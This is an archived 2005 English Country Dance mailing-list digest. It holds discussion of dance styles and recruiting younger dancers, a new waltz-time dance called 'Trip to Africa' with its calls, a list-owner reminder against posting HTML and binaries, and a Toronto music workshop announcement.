Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 13 Sep 2005 14:41:26 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 14:30:58 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Tom wrote: > Oh. So those sock-hops in the '50s, USO dances during WW2 and the > dances done by flappers at speak-easies in the '20s were carefully > choreographed group efforts. Well, the ones we see in the movies like ""1941"" are. (Great jitterbug into brawl sequence in that movie, which has many terrific moments but doesn't, I think, work as a whole.) (Parenthetically, it seems like country-dancing is still the only thing where the basic unit is the couple and couples interact, couple by couple, but I notice that various apparently couple-dance-only forms end up generating their own group dances. Flappers (and their men) might Charleston with partners or join a Charleston circle; swing dancers might join a big circle to do a Big Apple or a shim-sham, and sock-hoppers might make two lines and do the Madison, if I'm remembering the name right. Do ravers follow that impulse as well?) > What crap! Do you have any idea of how much work Travolta went through > to learn all the intricate moves he performed in SNF? How about > Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and > Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? > Nearly every music video made in the past 20 years? I'm expecting it was just about as much work as Hermes Pan did with Fred Astaire and Ginger Rogers to learn their intricate moves. However, you've missed Graham's irony. To unpack it, he was suggesting that people who bob up and down like chickens on the dance floor apparently have a mistaken image in their heads that they look as cool as John Travolta did in that dance. I'd prefer it, incidentally, if you objected a little less robustly. (It's fine to disagree, but it seems impolite to me to say ""What crap!"") > Regardless of the venue or style, people that show talent on the > dancefloor earn the respect of their peers. Those who look like > klutzes are laughed at. Just like it's been for 400+ years. But the difference since the 1960s is that, in non-structured couple dance situations, you're _expected_ to look cool on the dance floor without instruction. And people who are worried about looking like klutzes don't get out there - which is why we have that whole ""dance like there's nobody watching"" meme - and are cut off from joy of movement and communal being, and dance isn't part of daily life, as it damned well ought to be. -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 13 Sep 2005 17:11:30 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050914001116.97956.qmail-AT-web50312.mail.yahoo.com> Date: Tue, 13 Sep 2005 17:11:16 -0700 (PDT) From: Lyrl Ahern Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit > At 12:25 PM -0700 9/13/05, Graham Christian wrote: > I'm afraid that, post-1965, a very great number of > people expect exactly this. That is, to them, ""dance"" > means: hop up and down, flail your arms, and roll > your head. I have always defined dance as something that involved moving through space, so it wasn't until I found ECD in my mid-20s that I found anything I wanted to do -- or felt comfortable doing. Lyrl __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ================================================================================ Archive-Date: Tue, 13 Sep 2005 17:26:31 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 17:19:05 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: Lyrl Ahern CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSZO6BAMB09YJQ38-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Lyrl wrote: > > At 12:25 PM -0700 9/13/05, Graham Christian wrote: > > I'm afraid that, post-1965, a very great number of > > people expect exactly this. That is, to them, > ""dance"" > > means: hop up and down, flail your arms, and roll > > your head. > I have always defined dance as something that involved > moving through space, so it wasn't until I found ECD > in my mid-20s that I found anything I wanted to do -- > or felt comfortable doing. Just because I'm persnickety, I'll point out that ""hopping up and down"" is moving through space; it's just on a different axis than you're thinking. That said, I kinda feel the same way. I'm only now coming around to appreciating that there's anything at all fun for me in couple dances that don't travel (""slot dances"" like jitterbug). This predisposition may be one of those brain structure things that make ECD easier or harder to learn for some people. (I don't know whether the predilection or predisposition for ECD is actually ny less common now than it was in, oh, 1773, or whether intensive training overcame the absence of it, or whether there were just fewer alternative entertainment opportunities, or whether, finally, a lot of people weren't actually doing it for fun, but rather to display their accomplishments in hopes of catching a partner. Nowadays, there's no reason to do it if you don't like it.) -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 13 Sep 2005 17:50:27 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <8307039.1126659010796.JavaMail.root-AT-elwamui-rubis.atl.sa.earthlink.net> Date: Tue, 13 Sep 2005 17:50:10 -0700 (GMT-07:00) From: James Langdell Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Alan Winston wrote: > Just because I'm persnickety, I'll point out that ""hopping up and down"" > is moving through space; it's just on a different axis than you're > thinking. Is this a cue to start discussing ""The Happy Clown"", an ECD scorned by Thomas Wilson in the early 19th century for including the move of dancers hopping up and down in place repeatedly? --James ================================================================================ Archive-Date: Tue, 13 Sep 2005 18:25:34 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <20050913.095858.-652817.1.FFuerst-AT-juno.com> Date: Tue, 13 Sep 2005 21:25:08 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Linda M. Nelson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] recruiting younger dancers Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Fae writes: >Cammy, are you saying that you think the main reason for declining >attendance is that we often haven't been working effectively at bringing >in young people? And essentially, that good grass-roots publicity can >make country dancing popular anytime? Hope you're right. From my perspective, i think Cammy's right. Grass-roots publicity works. Relentless enthusiasm by the right person (or people) at the right time can bring in enough young dancers to provide critical mass. Of course, it helps if the enthusiast is in the same age group, or in some sense a peer. (Fellow student? Team member of some other sport? Part of the same singing club or reenactment group? Anything else in common?) Growing a dance (regardless of the age of the prospective dancers) does take that kind of relentless enthusiasm. Exhausting, but necessary... best if several people share the enthusiasm, rather than just one. Since most of us work for a living and have precious little free time, we rarely manage to put in the necessary effort to recruit. But absolutely no advertising works as well as a graciously, enthusiastically offered personal invitation... My hat's off to Cammy! cheers - Linda -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ""They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety. -- Benjamin Franklin +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ================================================================================ Archive-Date: Tue, 13 Sep 2005 18:34:20 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ecd-AT-ssrl04.slac.stanford.edu CC: solweber-AT-juno.com Date: Tue, 13 Sep 2005 21:32:08 -0400 Subject: [ECD] ""Trip to Africa"" music Message-ID: <20050913.213220.2736.6.solweber-AT-juno.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=--__JNP_000_6ec4.26ca.3da9 From: Sol Weber Reply-To: ECD-AT-playford.slac.stanford.edu This message is in MIME format. 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Since your mail reader does not understand this format, some or all of this message may not be legible. ----__JNP_000_00f2.52c7.7f01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit New dance, ""Trip to Africa"" Serendipity!! Next year, it's off to Africa on an English dance cruise. Coincidentally, I'd been working on a dance to do justice to the beautiful tunes in the Sacred Harp piece, ""Africa,"" by the great American composer, William Billings. In the ""trip"" tradition, ""Trip to Africa"" seemed like a good name. (Perhaps one day a Pinewoods Camp toilet will be named after it, following *that* grand tradition.) Please ignore any earlier versions you may have encountered. After much changing and refining (with the help of many patient musicians and dance volunteers), here's the final glitch-free version. At the indicated tempo, it flows nicely, with a touch of majesty to mirror Billings' glorious music. The final set of Labor Day volunteers gave it high marks. Give it a try. Below are the calls (in CAPS) and teaching instructions. The music will go out separately, as a pdf file. Incidentally, let me know (off line) if you'd like copies of my two previous dances, which have been well received: . ""Crazy Marie"" (a captivating Norwegian tune, with the perfectly matched ""B"" part kindly added by Jonathan Jensen), and . ""Gower Wassail"" (terrific tune from South Wales, often used in Revels productions). ""Trip to Africa"" Key of G quarter note = 115 A and B parts each about 25 seconds long Long ways, duple, proper, waltz time, English style Dance, Sol Weber Music, William Billings (from Sacred Harp piece, ""Africa""; arr, Sol Weber) Part ""A"" One note intro Measure 1 - 2 1's MEET & LEAD DOWN (to between 2's; 2 waltz steps) 3 - 4 (All) LEAD DOWN (w/hands; 2 waltz steps) 5 - 6 (2's) GATE 1's DOWN (6 counts; 2 waltz steps)(All face in) 7 - 8 (All) BALANCE IN & BACK (2 waltz steps)(Now it's the 2's turn) 9 - 10 2's MEET & LEAD UP 11 - 12 (All) LEAD UP 13 - 14 (1's) GATE 2's UP 15 - 16 (All) BALANCE IN & BACK Part ""B"" 17 - 20 (Slow) RIGHT HAND STAR (Once around; 4 waltz steps) 21 - 24 (Melt into slow) CIRCLE (Once around; 4 waltz steps) 25 - 26 MEN UP, WOMEN DOWN ""Drop hands, dance SINGLE FILE . in the direction you're moving; 2 waltz steps"" 27 - 28 (TURN BACK,) RETURN HOME ""Turn single, out, halfway, single . file back home; 2 waltz steps"" 29 - 32 1's (WIDE) CAST (DOWN) (to progress) ""1st man turns toward partner, . to face up; 4 waltz steps"" . (meanwhile) . 2's ARM LEFT ""once around, then man flips to face up, . 2's lead up a short distance to meet new 1's; . 4 waltz steps"" Sol ""Roundman"" Weber --- ""So many rounds, so little time"" 25-14 37 St, Astoria NY 11103, 718-278-4389 (after 11am) SINGERS & musicians, contact me for info on books, albums, & misc. fun items. solweber-AT-juno.com; web: http://roundz.tripod.com (DON'T use 'www') ----__JNP_000_00f2.52c7.7f01 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable New dance, ""Trip to Africa""   Serendipity!!  Next year, it's off to Africa on an English dance= =20 cruise.  Coincidentally, I'd been working on a dance to do = justice=20 to the beautiful tunes in the Sacred Harp piece, ""Africa,"" by the great American composer, William Billings.  In the ""trip"" tradition, ""Trip to Africa"" seemed like a good name.  (Perhaps one day a Pinewoods Camp toilet will be named after it, following *that* grand tradition.)   Please ignore any earlier versions you may have encountered. = ;=20 After much changing and refining (with the help of many patient musicians and dance volunteers), here's the final glitch-free version.  At = the=20 indicated tempo, it flows nicely, with a touch of majesty to mirror Billings' glorious music.  The final set of Labor Day volunteers = gave=20 it high marks.  Give it a try.  Below are the calls (in CAPS= ) and=20 teaching instructions.  The music will go out separately, as a = pdf=20 file.   Incidentally, let me know (off line) if you'd like copies of my two previous dances, which have been well received: .   ""Crazy Marie"" (a captivating Norwegian tune, with the=20 perfectly matched ""B"" part kindly added by Jonathan Jensen), and .    ""Gower Wassail"" (terrific tune from South Wales, = often=20 used in Revels productions).   ""Trip to Africa""  Key of G    quarter note =3D 115= A   and   B   parts each about 25 = seconds=20 long Long ways, duple, proper, waltz time, English style Dance, Sol Weber     Music, William Billings (from Sacred Harp piece, ""Africa""; arr, Sol=20 Weber)   Part ""A""     One note intro   Measure 1 - 2     1's MEET & LEAD DOWN (to between 2's= ; 2=20 waltz steps)   3  -  4    (All) LEAD=20 DOWN            = ;  =20 (w/hands; 2 waltz steps)   5  -  6    (2's)  GATE 1's=20 DOWN           (6 counts;= 2=20 waltz steps)(All face in)   7  -  8    (All) BALANCE IN & BACK &= nbsp;=20 (2 waltz steps)(Now it's the 2's turn)   9  -  10   2's MEET & LEAD=20 UP            &= nbsp;    11 - 12   (All) LEAD=20 UP            &= nbsp;           &= nbsp;    13 - 14    (1's) GATE 2's UP   15 - 16      (All) BALANCE IN & BACK   Part ""B""   17 - 20       (Slow) RIGHT HAND=20 STAR   (Once around; 4 waltz steps)   21 - 24       (Melt into slow) =20 CIRCLE         (Once around; 4 = waltz=20 steps)   25 - 26      MEN UP, WOMEN DOWN  &= nbsp;=20 ""Drop hands, dance SINGLE FILE .           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;          in=20 the direction you're moving; 2 waltz steps""     27 - 28      (TURN BACK,) RETURN HOME  ""= Turn=20 single, out, halfway, single .           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;    =20 file back home; 2 waltz steps""   29 - 32    1's (WIDE) CAST (DOWN)  (to=20 progress) ""1st man turns toward partner, .           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;     =20   to face up; 4 waltz=20 steps""           &= nbsp; =20 .          &= nbsp;           &= nbsp;    =20 (meanwhile) .          &= nbsp;    =20 2's ARM=20 LEFT           ""once= =20 around, then man flips to face up, .          &= nbsp;           &= nbsp;           &= nbsp;          =20 2's  lead up a short distance to meet new=20 1's;          .          &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;    =20 4=20 waltz  steps""        &= nbsp;           &= nbsp;           &= nbsp;           &= nbsp;         =20   Sol ""Roundman"" Weber  --- ""So many rounds, so little=20 time""25-14  37 St,  Astoria NY 11103, 718-278-4389 (after=20 11am)SINGERS & musicians, contact me for info on books, albums,=20 & misc. fun items. solweber-AT-juno.com;web: http://roundz.tripod.com  &= nbsp;=20 (DON'T use 'www') ----__JNP_000_00f2.52c7.7f01-- ================================================================================ Archive-Date: Tue, 13 Sep 2005 18:40:16 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 18:38:04 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: [ECD] Binaries on the list To: ECD-AT-ssrl04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSZQQPGBC49YJQ38-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Gang -- I've been a little lax in whacking people who post in HTML lately. Don't do that. Use expita.com/nomime.html to learn how to turn off HTML postings in your mailer software. But even more: DON'T POST BINARIES TO THE LIST. PDFs ARE BINARIES. Digest readers will see them as page after page after page of gibberish! If you have binaries, put them on a website - there are free web services available, heaven knows - and post a link. Alan Winston ECD listowner -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 13 Sep 2005 22:06:09 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050914050555.99145.qmail-AT-web32615.mail.mud.yahoo.com> Date: Wed, 14 Sep 2005 01:05:54 -0400 (EDT) From: Toronto English Dance Reply-To: ECD-AT-playford.slac.stanford.edu Subject: music workshop Sept. 24 To: TECD MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Toronto English Country Dancers present PLAYING TOGETHER: AN ENGLISH COUNTRY DANCE MUSIC WORKSHOP WITH RICK AVERY Saturday, Sept. 24, 2005 3.30 p.m. to 5.30 p.m. Rick Avery has been performing folk music for over 30 years, and for the past seven years been keyboard player and arranger for the popular contra-dance and English band Relative Harmony. On September 24th from 3.30 p.m. - 5.30 p.m. Rick will lead a workshop on playing English Country Dance music as an ensemble. Participants will explore the nuts and bolts of interpreting and playing a single melody line many times over with a variety of instruments in such a way that the music remains fresh and exciting for both the musicians and the dancers. Participants are invited to bring a tune to share, and should also be prepared to play the following English Country Dance favourites: Childgrove, Duke Of Kent's Waltz, Sellenger's Round, and Christchurch Bells. Please let us know if you do not have the sheet music for these tunes. Cost $8 Location The venue is near Pape Subway station. Space is limited, so to reserve your spot and receive directions please contact Cathy at (416) 762-0598 or e-mail tecd_questions-AT-yahoo.ca. Further details on our website. Trafalgar Ball Friday, Oct. 21 English music workshop series November weekend with special guest Graham Christian New Year's Eve contra/English dance Toronto English Country Dancers http://www.interlog.com/~cedar/home.html __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ================================================================================ Archive-Date: Wed, 14 Sep 2005 07:28:48 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ecd-AT-ssrl04.slac.stanford.edu Date: Wed, 14 Sep 2005 10:27:27 -0400 Subject: [ECD] TRIP TO AFRICA -- Apology, and 2nd attempt Message-ID: <20050914.102731.3056.1.solweber-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Sol Weber Reply-To: ECD-AT-playford.slac.stanford.edu My humble apologies to the list, for any gibberish you may have received connected to the ""Trip to Africa"" dance. I think it's a good dance and deserved better treatment. Below, once again, the calls and instructions, sent in PLAIN TEXT. For the MUSIC, email me OFF LINE, solweber-AT-juno.com, and I'll send it to you. ******************************* New dance, ""Trip to Africa"" Serendipity!! Next year, it's off to Africa on an English dance cruise. Coincidentally, I'd been working on a dance to do justice to the beautiful tunes in the Sacred Harp piece, ""Africa,"" by the great American composer, William Billings. In the ""trip"" tradition, ""Trip to Africa"" seemed like a good name. (Perhaps one day a Pinewoods Camp toilet will be named after it, following *that* grand tradition.) Please ignore any earlier versions you may have encountered. After much changing and refining (with the help of many patient musicians and dance volunteers), here's the final glitch-free version. At the indicated tempo, it flows nicely, with a touch of majesty to mirror Billings' glorious music. The final set of Labor Day volunteers gave it high marks. Give it a try. Below are the calls (in CAPS) and teaching instructions. The music will go out separately, as a pdf file. Incidentally, let me know (off line) if you'd like copies of my two previous dances, which have been well received: . ""Crazy Marie"" (a captivating Norwegian tune, with the perfectly matched ""B"" part kindly added by Jonathan Jensen), and . ""Gower Wassail"" (terrific tune from South Wales, often used in Revels productions). ""Trip to Africa"" Key of G quarter note = 115 A and B parts each about 25 seconds long Long ways, duple, proper, waltz time, English style Dance, Sol Weber Music, William Billings (from Sacred Harp piece, ""Africa""; arr, Sol Weber) Part ""A"" One note intro Measure 1 - 2 1's MEET & LEAD DOWN (to between 2's; 2 waltz steps) 3 - 4 (All) LEAD DOWN (w/hands; 2 waltz steps) 5 - 6 (2's) GATE 1's DOWN (6 counts; 2 waltz steps)(All face in) 7 - 8 (All) BALANCE IN & BACK (2 waltz steps)(Now it's the 2's turn) 9 - 10 2's MEET & LEAD UP 11 - 12 (All) LEAD UP 13 - 14 (1's) GATE 2's UP 15 - 16 (All) BALANCE IN & BACK Part ""B"" 17 - 20 (Slow) RIGHT HAND STAR (Once around; 4 waltz steps) 21 - 24 (Melt into slow) CIRCLE (Once around; 4 waltz steps) 25 - 26 MEN UP, WOMEN DOWN ""Drop hands, dance SINGLE FILE . in the direction you're moving; 2 waltz steps"" 27 - 28 (TURN BACK,) RETURN HOME ""Turn single, out, halfway, single . file back home; 2 waltz steps"" 29 - 32 1's (WIDE) CAST (DOWN) (to progress) ""1st man turns toward partner, . to face up; 4 waltz steps"" . (meanwhile) . 2's ARM LEFT ""once around, then man flips to face up, . 2's lead up a short distance to meet new 1's; . 4 waltz steps"" Sol ""Roundman"" Weber --- ""So many rounds, so little time"" 25-14 37 St, Astoria NY 11103, 718-278-4389 (after 11am) SINGERS & musicians, contact me for info on books, albums, & misc. fun items. solweber-AT-juno.com; web: http://roundz.tripod.com (DON'T use 'www') ================================================================================ Archive-Date: Wed, 14 Sep 2005 13:38:00 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <43288A0E.5040009-AT-sbcglobal.net> Date: Wed, 14 Sep 2005 13:37:34 -0700 From: Jon Berger Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] ""Trip to Africa"" dance call and instructions References: <20050913.213220.2736.5.solweber-AT-juno.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sol Weber wrote: > New dance, ""Trip to Africa"" > > Serendipity!! Next year, it's off to Africa on an English dance > cruise. Coincidentally, I'd been working on a dance to do justice > to the beautiful tunes in the Sacred Harp piece, ""Africa,"" by the > great American composer, William Billings. Wow, an ECD to a shape-note tune. That's a really great idea. Someone should do a dance to one of the fuguing tunes, with a four-part canonic section in the dance to match, maybe like a four-couple set dance with the couples starting to move as the different voices come in. It would be pretty hard to dance, probably, since the four parts would all be different, as distinct from something like ""John Tallis' Canon"" where the parts are the same but just done at different times. But that can be the choreographic challenge, I guess. ""Milford"" would be good; it's got TWO fuguing entrances, as I recall: ""We well may imitate"" and ""Now he again is born."" -- Jon Berger http://pages.sbcglobal.net/jberger ================================================================================ Archive-Date: Wed, 14 Sep 2005 19:30:15 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Wed, 14 Sep 2005 22:31:38 -0400 Subject: Re: [ECD] ""Trip to Africa"" dance call and instructions Message-ID: <20050914.223141.-458229.6.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu Leslie Lasseter wrote one to Beach Spring, I think it was a couple of years ago. Don't know if that was the first. On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger writes: > Wow, an ECD to a shape-note tune. That's a really great idea. ================================================================================ Archive-Date: Wed, 14 Sep 2005 20:46:46 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050915034631.38671.qmail-AT-web50414.mail.yahoo.com> Date: Wed, 14 Sep 2005 20:46:31 -0700 (PDT) From: Andy Peterson Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit --- Jon Berger wrote: > There's a San Francisco band called Polkacide who have gotten > locally infamous for doing more or less straightforward polka > music, but dressed in outrageous punk outfits, very loud, and > usually in alternative-music clubs. > We went to see them at a bar in Cotati, which is a college town, > the home of Sonoma State University. The crowd was mostly college > kids, who were pogoing and crashing and leaping around and > generally dancing the way you'd dance to a punk-rock band, but > there was also an older couple, probably in their 60's, who were > happily and quite obliviously polkaing away, complete with lots of > snazzy turns and dips and hot moves. The college crowd > respectfully gave them lots of floor space. The combination of the > two styles was lots of fun to watch. Sounds like a case study for Richard Powers' workshop on ""What can you do to _that_ music."" Andy in Portland __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com ================================================================================ Archive-Date: Wed, 14 Sep 2005 21:30:39 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050915043023.37469.qmail-AT-web50405.mail.yahoo.com> Date: Wed, 14 Sep 2005 21:30:23 -0700 (PDT) From: Andy Peterson Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: polka, was Re: [ECD] English Dialect Website To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit --- Maryn McKenna wrote: > (i assume they can also all hambo. just the idea of mosh-pit hambo > makes my head hurt.) The mosh-pit hambo at the Saturday Contra dances in Portland gets a bit better after the Monday night Scandi group has their annual hambo teaching sessions. Reminds me of Kamikaze Zwiefaches at NEFFA; the ones after about ten minutes into the session when people who don't know how to waltz and pivot hit the floor. Andy in Portland __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ================================================================================ Archive-Date: Wed, 14 Sep 2005 23:41:02 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050915064048.4154.qmail-AT-web50410.mail.yahoo.com> Date: Wed, 14 Sep 2005 23:40:48 -0700 (PDT) From: Andy Peterson Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] those pesky personal notes To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Alan Winston writes: > It's technically feasible to make the reply-to setting fo the > list go to originator rather than list , but my belief is that > that's wrong for a public discussion list. Reasonable people > have been known to disagree on this point. Being the one whose inadvertant message, which I meant to only send to one person, started this mess, I have to add my two cents. I'm on several lists that reply to the list. I was on one that replied to the individual posters and found it frustrating. I agree with Emily who stated that sending only to the individual, and having to make a consious effort to reply to the whole list, stifles conversation and discussion. That's much of the reason I haven't cared much about being on that one list. Conversations got started, then went dead because the discussion went off list. Sometimes one person would bring it back on-list, but several postings later, so much of what had been discussed was lost. I'm all for the occassional embarassment. (Actually, I don't feel at all embarased with what I wrote going out to the list.) Andy in Portland __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ================================================================================ Archive-Date: Thu, 15 Sep 2005 00:23:08 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <003101c5b9c6$43dc9580$261a86d9-AT-enduserg5dd8mf> Reply-To: ECD-AT-playford.slac.stanford.edu From: ""Alan Corkett"" To: References: <20050915043023.37469.qmail-AT-web50405.mail.yahoo.com> Subject: [ECD] can't waltz... Date: Thu, 15 Sep 2005 08:22:43 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit Andy wrote...""when people who don't know how to waltz and pivot.."" Now there is a subject for debate! Ask UK callers how infrequently they do a waltz, and why? Obviously, waltzing is more prevalent in USA perhaps. Alan Corkett (...I only play the music!) ================================================================================ Archive-Date: Thu, 15 Sep 2005 03:18:26 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Thu, 15 Sep 2005 06:17:53 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] OT: What can you dance to that music, was Re: English Dialect Website Message-ID: <20050915101753.GC7816-AT-g3.lse.org> References: <20050915034631.38671.qmail-AT-web50414.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Wed, Sep 14, 2005 at 08:46:31PM -0700, Andy Peterson wrote: > --- Jon Berger wrote: > > There's a San Francisco band called Polkacide who have gotten > > locally infamous for doing more or less straightforward polka > > music, but dressed in outrageous punk outfits, very loud, and > > usually in alternative-music clubs. > > We went to see them at a bar in Cotati, which is a college town, > > the home of Sonoma State University. The crowd was mostly college > > kids, who were pogoing and crashing and leaping around and > > generally dancing the way you'd dance to a punk-rock band, but > > there was also an older couple, probably in their 60's, who were > > happily and quite obliviously polkaing away, complete with lots of > > snazzy turns and dips and hot moves. The college crowd > > respectfully gave them lots of floor space. The combination of the > > two styles was lots of fun to watch. > > Sounds like a case study for Richard Powers' workshop on ""What can > you do to _that_ music."" I've had a very interesting time at what I guess I'd have to describe as a techno/rave/goth sort of dance doing cross-step waltz across the music. It wasn't difficult to avoid the people who were just dancing in place, and they were mostly pretty friendly about letting us whirl by. There was one rude exception to this. Separately, last week I was pleased to find something (cross-step foxtrot in S-QQ rhythm) that one could dance to Loreena McKennitt's ""All Soul's Night"". Susan (jammix girl) ================================================================================ Archive-Date: Thu, 15 Sep 2005 07:35:12 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v734) References: <20050914.223141.-458229.6.FFuerst-AT-juno.com> Message-ID: <6BA97C60-6309-4935-A42D-2501EE161AE9-AT-research.neu.edu> From: Terence Gaffney Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] ""Trip to Africa"" dance call and instructions Date: Thu, 15 Sep 2005 10:32:54 -0400 To: ECD-AT-ssrl04.slac.stanford.edu Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed On Sep 14, 2005, at 10:31 PM, Fae Fuerst wrote: > Leslie Lasseter wrote one to Beach Spring, I think it was a couple of > years ago. Don't know if that was the first. > > On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger > writes: > > >> Wow, an ECD to a shape-note tune. That's a really great idea. > ""Beach Spring"" is quite a nice dance set to a beautiful tune. I think it deserves to be known more widely. I really enjoy seeing the faces of the other half of the set going by in the serpentine figure. ================================================================================ Archive-Date: Thu, 15 Sep 2005 08:14:30 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Thu, 15 Sep 2005 12:13:54 -0300 (Atlantic Daylight Time) From: John Wood Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] ""Trip to Africa"" dance call and instructions [2] To: ECD-AT-ssrl04.slac.stanford.edu Message-ID: <43298FB2.000001.05464-AT-JOHN-6F7DD3F4A2> MIME-Version: 1.0 Content-Type: Text/Plain; 